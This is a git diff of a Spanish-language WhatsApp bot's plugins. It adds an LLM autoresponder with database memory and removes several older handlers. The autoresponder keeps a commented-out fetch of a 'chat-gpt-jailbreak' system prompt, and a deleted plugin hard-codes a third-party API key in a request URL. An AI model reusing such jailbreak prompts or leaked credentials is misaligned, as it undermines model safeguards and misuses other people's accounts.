-user[especial3] += especialCant3 * 5
-user[especial4] += especialCant4 * 5
-
-}else if (user.level == 65){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 65!!* 🏆
-𓃠 *${especialCant * 5} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 5} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 5} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 5} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 5
-user[especial2] += especialCant2 * 5
-user[especial3] += especialCant3 * 5
-user[especial4] += especialCant4 * 5
-
-}else if (user.level == 70){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 70!!* 🏆
-𓃠 *${especialCant * 6} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 6} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 6} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 6} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 6
-user[especial2] += especialCant2 * 6
-user[especial3] += especialCant3 * 6
-user[especial4] += especialCant4 * 6
-
-}else if (user.level == 75){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 75!!* 🏆
-𓃠 *${especialCant * 6} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 6} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 6} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 6} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 6
-user[especial2] += especialCant2 * 6
-user[especial3] += especialCant3 * 6
-user[especial4] += especialCant4 * 6
-
-}else if (user.level == 80){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 80!!* 🏆
-𓃠 *${especialCant * 7} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 7} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 7} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 7} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 7
-user[especial2] += especialCant2 * 7
-user[especial3] += especialCant3 * 7
-user[especial4] += especialCant4 * 7
-
-}else if (user.level == 85){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 85!!* 🏆
-𓃠 *${especialCant * 7} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 7} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 7} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 7} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 7
-user[especial2] += especialCant2 * 7
-user[especial3] += especialCant3 * 7
-user[especial4] += especialCant4 * 7
-
-}else if (user.level == 90){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 90!!* 🏆
-𓃠 *${especialCant * 8} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 8} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 8} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 8} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 8
-user[especial2] += especialCant2 * 8
-user[especial3] += especialCant3 * 8
-user[especial4] += especialCant4 * 8
-
-}else if (user.level == 95){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 95!!* 🏆
-𓃠 *${especialCant * 10} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 10} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 10} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 10} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 10
-user[especial2] += especialCant2 * 10
-user[especial3] += especialCant3 * 10
-user[especial4] += especialCant4 * 10
-
-}else if (user.level == 100){
-m.reply(`*${lenguajeGB.smsAutoLv7()} 100!!* 🏆
-𓃠 *${especialCant * 10} ${global.rpgshop.emoticon(especial)}*
-𓃠 *${especialCant2 * 10} ${global.rpgshop.emoticon(especial2)}*
-𓃠 *${especialCant3 * 10} ${global.rpgshop.emoticon(especial3)}*
-𓃠 *${especialCant4 * 10} ${global.rpgshop.emoticon(especial4)}*`)
-user[especial] += especialCant * 10
-user[especial2] += especialCant2 * 10
-user[especial3] += especialCant3 * 10
-user[especial4] += especialCant4 * 10
-
-}else{
-
+export function getRole(level) {
+ const ranks = ['NOVATO(A)', 'APRENDIS', 'EXPLORADOR(A)', 'MAESTRO(A)', 'IRON', 'PLATA', 'ORO', 'LEYENDA', 'ESTELAR', 'DIAMANTE', 'TOP ASTRAL', 'ÉLITE GLOBAL']
+ const subLevels = ['V', 'IV', 'III', 'II', 'I']
+ const roles = []
+
+ let lvl = 0
+ for (let rank of ranks) {
+ for (let sub of subLevels) {
+ roles.push({ level: lvl, name: `${rank} ${sub}` })
+ lvl++
+ }
+ }
+
+ return roles.reverse().find(r => level >= r.level) || { level, name: 'NOVATO(A) V' }
}
-
-}}
-//export const disabled = false
diff --git a/plugins/_autoresponder.js b/plugins/_autoresponder.js
index 2a126d82f..15955b795 100644
--- a/plugins/_autoresponder.js
+++ b/plugins/_autoresponder.js
@@ -1,14 +1,89 @@
-import { sticker } from '../lib/sticker.js'
-let handler = m => m
-
-handler.all = async function (m, {conn}) {
-let chat = global.db.data.chats[m.chat]
-
-if (m.mentionedJid.includes(this.user.jid) && m.isGroup && !chat.isBanned) {
-await this.sendMessage(m.chat, {text: `*QUE YO QUE?*`}, {quoted: m, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})}
-/*let stiker = await sticker(imagen1, false, global.packname, global.author)
-this.sendFile(m.chat, stiker, 'sticker.webp', null, m, false, {
-contextInfo: { externalAdReply: { title: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', body: '©elrebelde', sourceUrl: `https://github.com/elrebelde21/The-LoliBot-MD`, thumbnail: imagen2}}})}*/
-
-return !0 }
-export default handler
+import fetch from 'node-fetch';
+import { blackboxAi, exoml, perplexity } from '../lib/scraper.js';
+import { db } from '../lib/postgres.js';
+
+const MAX_TURNS = 12;
+
+export async function before(m, { conn }) {
+const botIds = [conn.user?.id, conn.user?.lid].filter(Boolean).map(j => j.split('@')[0].split(':')[0]);
+
+const mentioned = [...(m.mentionedJid || []),
+m.msg?.contextInfo?.participant,
+m.msg?.contextInfo?.remoteJid].filter(Boolean);
+
+const mention = mentioned.some(j => {
+const num = j?.split('@')[0]?.split(':')[0];
+return botIds.includes(num);
+});
+
+//const isReplyToBot = m.quoted && [conn.user?.id, conn.user?.lid].some(id => id?.includes(m.quoted.sender));
+//if (!mention && !isReplyToBot) return true;
+const triggerWords = /\b(bot|simi|alexa|lolibot)\b/i;
+if (!mention && !triggerWords.test(m.originalText)) return true;
+//if (!mention) return true;
+
+const no_cmd = /(PIEDRA|PAPEL|TIJERA|menu|estado|bots?|serbot|jadibot|Video|Audio|Exp|diamante|lolicoins?)/i;
+if (no_cmd.test(m.text)) return true;
+
+await conn.sendPresenceUpdate("composing", m.chat);
+const chatId = m.chat;
+const query = m.text;
+let memory = [];
+let systemPrompt = '';
+let ttl = 86400; // 1 día por defecto
+try {
+const { rows } = await db.query('SELECT sautorespond, memory_ttl FROM group_settings WHERE group_id = $1', [chatId]);
+systemPrompt = rows[0]?.sautorespond || '';
+ttl = rows[0]?.memory_ttl ?? 86400;
+} catch (e) {
+console.error("[❌] Error obteniendo prompt/ttl:", e.message);
+}
+
+if (!systemPrompt) {
+systemPrompt = await fetch('https://raw.githubusercontent.com/elrebelde21/LoliBot-MD/main/src/text-chatgpt.txt').then(v => v.text());
+//await fetch('https://raw.githubusercontent.com/Skidy89/chat-gpt-jailbreak/main/Text.txt').then(r => r.text());
+}
+
+try {
+const res = await db.query('SELECT history, updated_at FROM chat_memory WHERE chat_id = $1', [chatId]);
+const { history = [], updated_at } = res.rows[0] || {};
+const expired = !ttl || (updated_at && Date.now() - new Date(updated_at) > ttl * 1000);
+memory = expired ? [] : history;
+} catch (e) {
+console.error("❌ No se pudo obtener memoria de DB:", e.message);
+}
+
+if (!memory.length || memory[0]?.role !== 'system' || memory[0]?.content !== systemPrompt) {
+memory = [{ role: 'system', content: systemPrompt }];
+}
+
+memory.push({ role: 'user', content: query });
+if (memory.length > MAX_TURNS * 2 + 1) {
+memory = [memory[0], ...memory.slice(-MAX_TURNS * 2)];
+}
+
+let result = '';
+try {
+result = await exoml.generate(memory, systemPrompt, 'llama-4-scout');
+} catch (err) {
+console.error("❌ Error en ExoML, fallback:", err);
+const bb = await blackboxAi(query);
+result = bb?.data?.response || "❌ No se obtuvo respuesta.";
+}
+
+if (!result || result.trim().length < 2) result = "🤖 ...";
+memory.push({ role: 'assistant', content: result });
+try {
+await db.query(`INSERT INTO chat_memory (chat_id, history, updated_at)
+ VALUES ($1, $2, NOW())
+ ON CONFLICT (chat_id) DO UPDATE SET history = $2, updated_at = NOW()
+ `, [chatId, JSON.stringify(memory)]);
+} catch (e) {
+console.error("❌ No se pudo guardar memoria:", e.message);
+}
+
+await conn.reply(m.chat, result, m);
+await conn.readMessages([m.key]);
+
+return false;
+}
\ No newline at end of file
diff --git a/plugins/_autosticker.js b/plugins/_autosticker.js
deleted file mode 100644
index afb72c612..000000000
--- a/plugins/_autosticker.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import { sticker } from '../lib/sticker.js'
-
-let handler = m => m
-
-handler.all = async function (m) {
-let chat = db.data.chats[m.chat]
-let user = db.data.users[m.sender]
-
-if (chat.autosticker && m.isGroup) {
-let q = m
-let stiker = false
-let mime = (q.msg || q).mimetype || q.mediaType || ''
-if (/webp/g.test(mime)) return
-if (/image/g.test(mime)) {
-let img = await q.download?.()
-if (!img) return
-stiker = await sticker(img, false, packname, author)
-} else if (/video/g.test(mime)) {
-if (/video/g.test(mime)) if ((q.msg || q).seconds > 8) return
-await m.reply(`[❗] ᴇʟ ᴠɪᴅᴇᴏ ɴᴏ ᴘᴜᴇᴅᴇ ᴅᴜʀᴀ ɴᴀs ᴅᴇ 7 sᴇɢ`)
-//await this.sendButton(m.chat, '*[❗𝙄𝙣𝙛𝙤❗]𝑬𝒍 𝒗𝒊́𝒅𝒆𝒐 𝒏𝒐 𝒑𝒖𝒆𝒅𝒆 𝒅𝒖𝒓𝒂𝒓 𝒎𝒂́𝒔 𝒅𝒆 7 𝒔𝒆𝒈', wm, [['𝑫𝒆𝒔𝒂𝒄𝒕𝒊𝒗𝒂 𝒂𝒖𝒕𝒐𝒔𝒕𝒊𝒄𝒌𝒆𝒓', '/disable autosticker']], m)
-let img = await q.download()
-if (!img) return
-stiker = await sticker(img, false, packname, author)
-} else if (m.text.split(/\n| /i)[0]) {
-if (isUrl(m.text)) stiker = await sticker(false, m.text.split(/\n| /i)[0], packname, author)
-else return
-}
-if (stiker) conn.sendFile(m.chat, stiker, 'sticker.webp', '',m, true, { contextInfo: { 'forwardingScore': 200, 'isForwarded': false, externalAdReply:{ showAdAttribution: false, title: wm, body: `h`, mediaType: 2, sourceUrl: nn, thumbnail: imagen1}}}, { quoted: m, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
-}
-return !0
-}
-export default handler
-
-const isUrl = (text) => {
-return text.match(new RegExp(/^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)(jpe?g|gif|png|mp4)/, 'gi'))}
diff --git a/plugins/_cmdWithMedia.js b/plugins/_cmdWithMedia.js
deleted file mode 100644
index e7d2d1533..000000000
--- a/plugins/_cmdWithMedia.js
+++ /dev/null
@@ -1,30 +0,0 @@
-const {
- proto,
- generateWAMessage,
- areJidsSameUser,
-} = (await import('@whiskeysockets/baileys')).default;
-
-export async function all(m, chatUpdate) {
- if (m.isBaileys) return;
- if (!m.message) return;
- if (!m.msg.fileSha256) return;
- if (!(Buffer.from(m.msg.fileSha256).toString('base64') in global.db.data.sticker)) return;
-
- const hash = global.db.data.sticker[Buffer.from(m.msg.fileSha256).toString('base64')];
- const {text, mentionedJid} = hash;
- const messages = await generateWAMessage(m.chat, {text: text, mentions: mentionedJid}, {
- userJid: this.user.id,
- quoted: m.quoted && m.quoted.fakeObj,
- });
- messages.key.fromMe = areJidsSameUser(m.sender, this.user.id);
- messages.key.id = m.key.id;
- messages.pushName = m.pushName;
- if (m.isGroup) messages.participant = m.sender;
- const msg = {
- ...chatUpdate,
- messages: [proto.WebMessageInfo.fromObject(messages)],
- type: 'append',
- };
- this.ev.emit('messages.upsert', msg);
-}
-
\ No newline at end of file
diff --git a/plugins/_delete-waBug.js b/plugins/_delete-waBug.js
deleted file mode 100644
index 124b6f7ac..000000000
--- a/plugins/_delete-waBug.js
+++ /dev/null
@@ -1,17 +0,0 @@
-let handler = m => m
-handler.before = async function (m, { conn, isAdmin, isBotAdmin }) {
-
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let user = `@${m.sender.split`@`[0]}`
-let delet = m.key.participant;
-let bang = m.key.id;
-
-if (isBotAdmin && m.isGroup) {
-if (m.text && m.text.toLowerCase().includes("wa.me/settings") || m.text.toLowerCase().includes("wa.me/setting")) {
-conn.sendMessage(m.chat, { text: `𝙎𝙀 𝘿𝙀𝙏𝙀𝘾𝙏𝙊 𝙐𝙉 𝘽𝙐𝙂\n\nMarcar el chat como leido ${"\n".repeat(400)}\nSera eliminado: ${user}`, mentions: [m.sender] }, { quoted: fkontak })
-await conn.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: false, id: bang, participant: delet } })
-await conn.groupParticipantsUpdate(m.chat, [m.sender], 'remove')
-return null
-}
-}}
-export default handler;
diff --git a/plugins/_expired.js b/plugins/_expired.js
deleted file mode 100644
index 4e30b6ec8..000000000
--- a/plugins/_expired.js
+++ /dev/null
@@ -1,20 +0,0 @@
-export async function all(m, conn) {
- //let res = await conn.groupAcceptInvite(code)
- if (!m.isGroup)
- return
- let chats = global.db.data.chats[m.chat]
- if (!chats.expired)
- return !0
- if (+new Date() > chats.expired) {
- await m.reply(`bueno el bot se van del grupo!!!, si quiere que vuelva, usar el comando _#bottemporal_ para que vuelva al grupo!!`)
- // let caption = `*bueno el bot se van del grupo!!!, si quiere que vuelva, usar el comando _#bottemporal_ para que vuelva al grupo!!*`
- let pp = './media/menus/Menu2.jpg'
- //await this.sendButton(m.chat, caption, wm, null, [['Eliminar caducado', '/delexpired'], ['Cec caducado', '/cekexpired']], null)
-//await this.sendButton(m.chat, caption, wm, pp, [['𝑯𝒂𝒔𝒕𝒂 𝒑𝒓𝒐𝒏𝒕𝒐 🤑', '.hastapronto']], null)
-//await conn.sendHydrated2(m.chat, caption, wm, pp, 'https://github.com', 'The loliBot-MD', ig, '𝙄𝙣𝙨𝙩𝙖𝙜𝙧𝙖𝙢', null, m,)
-
- await this.groupLeave(m.chat)
- chats.expired = null
- }
-}
-
diff --git a/plugins/_fake.js b/plugins/_fake.js
deleted file mode 100644
index 59c10949b..000000000
--- a/plugins/_fake.js
+++ /dev/null
@@ -1,107 +0,0 @@
-import fs from 'fs'
-import fetch from 'node-fetch'
-import moment from 'moment-timezone'
-
-let handler = async (m, { conn, args }) => {
-let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? this.user.jid : m.sender
-let fsizedoc = '1'.repeat(10)
-//let ucapan = ucapan()
-let sap = ['Hai', 'Ohayo', 'Kyaa', 'Halo', 'Nyann']
-let name = await conn.getName(who)
-let sgh = md
-let sgc = nnn
-let gata = 'https://i.imgur.com/EXTbyyn.jpg'
-let pp = await conn.profilePictureUrl(who).catch(_ => gata)
-//pp = await conn.profilePictureUrl(m.chat, 'image').catch(_ => null) || './src/grupos.jpg'
-
-/*let ftroli = {
- key: {
- participant: '0@s.whatsapp.net'
- },
- message: {
- orderMessage: {
- itemCount: fsizedoc,
- status: 1,
- surface: 1,
- message: botdate,
- orderTitle: author,
- sellerJid: '0@s.whatsapp.net'
- }
- }
- }si*/
-
-/*let fkontak = {
- key: {
- participant: '0@s.whatsapp.net'
- },
- message: {
- contactMessage: {
- displayName: wm,
- vcard: `BEGIN:VCARD\nVERSION:3.0\nN:XL;${author},;;;\nFN:${author},\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabell:Ponsel\nEND:VCARD`,
- jpegThumbnail: fs.readFileSync('./media/menus/Menu1.jpg'),
- thumbnail: fs.readFileSync('./media/menus/Menu1.jpg'),
- sendEphemeral: true
- }
- }
- }*/
-
-/*let fvn = {
- key: {
- participant: '0@s.whatsapp.net'
- },
- message: {
- audioMessage: {
- mimetype: 'audio/ogg; codecs=opus',
- seconds: fsizedoc,
- ptt: true
- }
- }
- }*/
-
-
-let ftoko = {
- key: {
- participant: '0@s.whatsapp.net'
- },
- message: {
- productMessage: {
- product: {
- productImage: {
- mimetype: 'image/jpeg',
- jpegThumbnail: fs.readFileSync('./media/menus/Menu1.jpg')
- },
- title: '👋 ' + sap.getRandom() + ' Kak :> ' + name,
- description: botdate,
- currencyCode: 'IDR',
- priceAmount1000: fsizedoc,
- retailerId: 'Ghost',
- productImageCount: 1
- },
- businessOwnerJid: '0@s.whatsapp.net'
- }
- }
- }
-await conn.reply(m.chat, `*Prueba*`, ftoko, m)
-//await conn.sendButton(m.chat, `*Prueba*`, wm, pp, [[' Menu', '/menu']], ftoko, m)
-}
-
-handler.command = /^(fake)$/i
-export default handler
-
-function ucapan() {
- const time = moment.tz('America/Los_Angeles').format('HH') //America/Los_Angeles Asia/Jakarta America/Toronto
- let res = "👋 *BIENVENIDO(A) | WELCOME* 👋"
- if (time >= 4) {
- res = "🌇 *Buenos Días | Good Morning* ⛅"
- }
- if (time >= 11) {
- res = "🏙️ *Buenas Tardes | Good Afternoon* 🌤️"
- }
- if (time >= 15) {
- res = "🌆 *Buenas tardes | Good Afternoon* 🌥️"
- }
- if (time >= 17) {
- res = "🌃 *Buenas noches | Good Evening* 💫"
- }
- return res
-}
diff --git a/plugins/_premium.js b/plugins/_premium.js
deleted file mode 100644
index d2ea2db20..000000000
--- a/plugins/_premium.js
+++ /dev/null
@@ -1,10 +0,0 @@
-let handler = m => m
-export async function all(m) {
-let user = global.db.data.users[m.sender]
-if (m.chat.endsWith('broadcast')) return
-if (user.premiumTime != 0 && user.premium) {
-if (new Date() * 1 >= user.premiumTime) {
-await m.reply(`${ag}*@${m.sender.split`@`[0]} ¡𝙎𝙚 𝙖𝙘𝙖𝙗𝙤́ 𝙚𝙡 𝙩𝙞𝙚𝙢𝙥𝙤 𝙥𝙧𝙚𝙢𝙞𝙪𝙢!*\n𝙎𝙞 𝙦𝙪𝙞𝙚𝙧𝙚𝙨 𝙤𝙗𝙩𝙚𝙣𝙚𝙧 𝙪𝙣 𝙣𝙪𝙚𝙫𝙤 𝙥𝙖𝙨𝙚 𝙥𝙧𝙚𝙢𝙞𝙪𝙢 𝙪𝙨𝙖 𝙚𝙡 𝙘𝙤𝙢𝙖𝙣𝙙𝙤\n*#pase premium*`, false, { mentions: [m.sender] })
-user.premiumTime = 0
-user.premium = false
-}}}
diff --git a/plugins/_simi.js b/plugins/_simi.js
deleted file mode 100644
index 27cc1a64f..000000000
--- a/plugins/_simi.js
+++ /dev/null
@@ -1,33 +0,0 @@
-import fetch from 'node-fetch'
-let handler = m => m
-
-handler.before = async (m) => {
-let chat = global.db.data.chats[m.chat]
-if (chat.simi) {
-if (/^.*false|disnable|(turn)?off|0/i.test(m.text)) return
-if (!m.text) return
-let textodem = m.text
-try {
-await conn.sendPresenceUpdate('composing', m.chat)
-let ressimi = await fetch(`https://api.simsimi.net/v2/?text=${encodeURIComponent(m.text)}&lc=` + lenguajeGB.lenguaje())
-let data = await ressimi.json();
-if (data.success == 'No s\u00e9 lo qu\u00e9 est\u00e1s diciendo. Por favor ense\u00f1ame.') return m.reply(`${lol}`) /* EL TEXTO "lol" NO ESTA DEFINIDO PARA DAR ERROR Y USAR LA OTRA API */
-await m.reply(data.success)
-} catch {
-/* SI DA ERROR USARA ESTA OTRA OPCION DE API DE IA QUE RECUERDA EL NOMBRE DE LA PERSONA */
-if (textodem.includes('Hola')) textodem = textodem.replace('Hola', 'Hello')
-if (textodem.includes('hola')) textodem = textodem.replace('hola', 'hello')
-if (textodem.includes('HOLA')) textodem = textodem.replace('HOLA', 'HELLO')
-let reis = await fetch("https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=en&dt=t&q=" + textodem)
-let resu = await reis.json()
-let nama = m.pushName || '1'
-let api = await fetch("http://api.brainshop.ai/get?bid=153868&key=rcKonOgrUFmn5usX&uid=" + nama + "&msg=" + resu[0][0][0])
-let res = await api.json()
-let reis2 = await fetch("https://translate.googleapis.com/translate_a/single?client=gtx&sl=auto&tl=es&dt=t&q=" + res.cnt)
-let resu2 = await reis2.json()
-await m.reply(resu2[0][0][0])}
-return !0
-}
-return true
-}
-export default handler
diff --git a/plugins/_templateResponse.js b/plugins/_templateResponse.js
deleted file mode 100644
index dc08ba2fc..000000000
--- a/plugins/_templateResponse.js
+++ /dev/null
@@ -1,109 +0,0 @@
-/**
- * @type {import('@whiskeysockets/baileys')}
- */
-const {
- proto,
- generateWAMessage,
- areJidsSameUser,
- decryptPollVote,
-} = (await import('@whiskeysockets/baileys')).default;
-
-export async function all(m, chatUpdate) {
- /* if (m.message.pollUpdateMessage) {
- console.log(m.message.pollUpdateMessage)
- console.log(m.message.pollUpdateMessage.pollCreationMessageKey)
- let authcode = "eed1zxI49cxiovBTUFLIEWi1shD9HgIOghONuqPDGTk="
- let xds = decryptPollVote({
- encPayload: m.message.pollUpdateMessage.vote.encPayload,
- encIv: m.message.pollUpdateMessage.vote.encIv,
- }, {
- pollCreatorJid: m.message.pollUpdateMessage.pollCreationMessageKey.participant,
- pollMsgId: m.message.pollUpdateMessage.pollCreationMessageKey.id,
- pollEncKey: authcode, //Uint8Array.from(authcode.split('').map(letter => letter.charCodeAt(0))),
- voterJid: m.sender,
- })
- console.log(xds)
-}*/
- if (m.isBaileys) {
- return;
- }
- if (!m.message) {
- return;
- }
- if (!(m.message.buttonsResponseMessage || m.message.templateButtonReplyMessage || m.message.listResponseMessage)) {
- return;
- }
- const id = m.message.buttonsResponseMessage?.selectedButtonId || m.message.templateButtonReplyMessage?.selectedId || m.message.listResponseMessage?.singleSelectReply?.selectedRowId;
- const text = m.message.buttonsResponseMessage?.selectedDisplayText || m.message.templateButtonReplyMessage?.selectedDisplayText || m.message.listResponseMessage?.title;
- let isIdMessage = false; let usedPrefix;
- for (const name in global.plugins) {
- const plugin = global.plugins[name];
- if (!plugin) {
- continue;
- }
- if (plugin.disabled) {
- continue;
- }
- if (!opts['restrict']) {
- if (plugin.tags && plugin.tags.includes('admin')) {
- continue;
- }
- }
- if (typeof plugin !== 'function') {
- continue;
- }
- if (!plugin.command) {
- continue;
- }
- const str2Regex = (str) => str.replace(/[|\\{}()[\]^$+*?.]/g, '\\$&');
- const _prefix = plugin.customPrefix ? plugin.customPrefix : this.prefix ? this.prefix : global.prefix;
- const match = (_prefix instanceof RegExp ? // RegExp Mode?
- [[_prefix.exec(id), _prefix]] :
- Array.isArray(_prefix) ? // Array?
- _prefix.map((p) => {
- const re = p instanceof RegExp ? // RegExp in Array?
- p :
- new RegExp(str2Regex(p));
- return [re.exec(id), re];
- }) :
- typeof _prefix === 'string' ? // String?
- [[new RegExp(str2Regex(_prefix)).exec(id), new RegExp(str2Regex(_prefix))]] :
- [[[], new RegExp]]
- ).find((p) => p[1]);
- if ((usedPrefix = (match[0] || '')[0])) {
- const noPrefix = id.replace(usedPrefix, '');
- let [command] = noPrefix.trim().split` `.filter((v) => v);
- command = (command || '').toLowerCase();
- const isId = plugin.command instanceof RegExp ? // RegExp Mode?
- plugin.command.test(command) :
- Array.isArray(plugin.command) ? // Array?
- plugin.command.some((cmd) => cmd instanceof RegExp ? // RegExp in Array?
- cmd.test(command) :
- cmd === command,
- ) :
- typeof plugin.command === 'string' ? // String?
- plugin.command === command :
- false;
- if (!isId) {
- continue;
- }
- isIdMessage = true;
- }
- }
- const messages = await generateWAMessage(m.chat, {text: isIdMessage ? id : text, mentions: m.mentionedJid}, {
- userJid: this.user.id,
- quoted: m.quoted && m.quoted.fakeObj,
- });
- messages.key.fromMe = areJidsSameUser(m.sender, this.user.id);
- messages.key.id = m.key.id;
- messages.pushName = m.name;
- if (m.isGroup) {
- messages.key.participant = messages.participant = m.sender;
- }
- const msg = {
- ...chatUpdate,
- messages: [proto.WebMessageInfo.fromObject(messages)].map((v) => (v.conn = this, v)),
- type: 'append',
- };
- this.ev.emit('messages.upsert', msg);
-}
diff --git a/plugins/afk-_afk.js b/plugins/afk-_afk.js
deleted file mode 100644
index a5bdc8e21..000000000
--- a/plugins/afk-_afk.js
+++ /dev/null
@@ -1,26 +0,0 @@
-export function before(m) {
-let user = global.db.data.users[m.sender]
-if (user.afk > -1) {
-m.reply(`
-${lenguajeGB['smsAfkM1']()}${user.afkReason ? ` ${lenguajeGB['smsAfkM2']()} ` + user.afkReason : ''}
-
-${lenguajeGB['smsAfkM3']()} *${(new Date - user.afk).toTimeString()}*`.trim())
-user.afk = -1
-user.afkReason = ''
-}
-let jids = [...new Set([...(m.mentionedJid || []), ...(m.quoted ? [m.quoted.sender] : [])])]
-for (let jid of jids) {
-let user = global.db.data.users[jid]
-if (!user)
-continue
-let afkTime = user.afk
-if (!afkTime || afkTime < 0)
-continue
-let reason = user.afkReason || ''
-m.reply(`${lenguajeGB['smsAfkM4']()}
-${reason ? `${lenguajeGB['smsAfkM5']()} ` + reason : `${lenguajeGB['smsAfkM6']()}`}
-${lenguajeGB['smsAfkM3']()} *${(new Date - afkTime).toTimeString()}*
-`.trim())
-}
-return true
-}
diff --git a/plugins/afk-afk.js b/plugins/afk-afk.js
deleted file mode 100644
index 05f285839..000000000
--- a/plugins/afk-afk.js
+++ /dev/null
@@ -1,14 +0,0 @@
-let handler = async (m, { text, usedPrefix }) => {
-let user = global.db.data.users[m.sender]
- if (!text) return m.reply(`${lenguajeGB['smsAvisoMG']()}𝙋𝙊𝙍 𝙁𝘼𝙑𝙊𝙍 𝘾𝙊𝙇𝙊𝙌𝙐𝙀 𝙎𝙐 𝙈𝙊𝙏𝙄𝙑𝙊 𝙋𝘼𝙍𝘼 𝙀𝙎𝙏𝘼𝙍 𝘼𝙁𝙆\n\n𝙀𝙅𝙀𝙈𝙋𝙇𝙊:\n*${usedPrefix}afk Voy a comer*`)
- if (text.length < 10) return m.reply(`${lenguajeGB['smsAvisoMG']()}𝙀𝙇 𝙈𝙊𝙏𝙄𝙑𝙊 𝙀𝙎 𝙈𝙐𝙔 𝘾𝙊𝙍𝙏𝙊, 𝙈𝙄𝙉𝙄𝙈𝙊 10 𝘾𝘼𝙍𝘼́𝘾𝙏𝙀𝙍𝙀𝙎`)
-user.afk = + new Date
-user.afkReason = text
-m.reply(`${lenguajeGB['smsAfkM1A']()} *${conn.getName(m.sender)}* ${lenguajeGB['smsAfkM1B']()}${text ? ': ' + text : ''}
-`)}
-handler.help = ['afk [alasan]']
-handler.tags = ['main']
-handler.command = /^afk$/i
-handler.register = true
-handler.money = 120
-export default handler
diff --git a/plugins/anonymous_chat.js b/plugins/anonymous_chat.js
deleted file mode 100644
index 609093c3d..000000000
--- a/plugins/anonymous_chat.js
+++ /dev/null
@@ -1,51 +0,0 @@
-async function handler(m, { usedPrefix, command }) {
-command = command.toLowerCase()
-this.anonymous = this.anonymous ? this.anonymous : {}
-switch (command) {
-case 'next':
-case 'leave': {
-let room = Object.values(this.anonymous).find(room => room.check(m.sender))
-if (!room) return this.sendMessage(m.chat, { text: `${lenguajeGB['smsChatAn1']()}\n${lenguajeGB['smsChatAn2']()}`}, { quoted: m })
-//this.sendButton(m.chat, `${lenguajeGB['smsChatAn1']()}`, lenguajeGB.smsChatAn2() + wm, null, [[lenguajeGB.smsChatAn3(), `.start`]], m)
-m.reply(`${lenguajeGB['smsChatAn4']()}`)
-let other = room.other(m.sender)
-if (other) await this.sendMessage(other, { text: `${lenguajeGB['smsChatAn5']()}`}, { quoted: m })
-//this.sendButton(other, `${lenguajeGB['smsChatAn5']()}`, lenguajeGB.smsChatAn6() + wm, null, [[lenguajeGB.smsChatAn3(), `.start`]], m)
-delete this.anonymous[room.id]
-if (command === 'leave') break
-}
-case 'start': {
-if (Object.values(this.anonymous).find(room => room.check(m.sender))) return this.sendMessage(m.chat, { text: `${lenguajeGB['smsChatAn7']()}`}, { quoted: m })
-//this.sendButton(m.chat, `${lenguajeGB['smsChatAn7']()}`, lenguajeGB.smsChatAn8() + wm, null, [[lenguajeGB.smsChatAn9(), `.leave`]], m)
-let room = Object.values(this.anonymous).find(room => room.state === 'WAITING' && !room.check(m.sender))
-if (room) {
-await this.sendMessage(room.a, { text: `${lenguajeGB['smsChatAn10']()}`}, { quoted: m })
-//this.sendButton(room.a, `${lenguajeGB['smsChatAn10']()}`, lenguajeGB.smsChatAn11() + wm, null, [[lenguajeGB.smsChatAn12(), `.next`]], m)
-room.b = m.sender
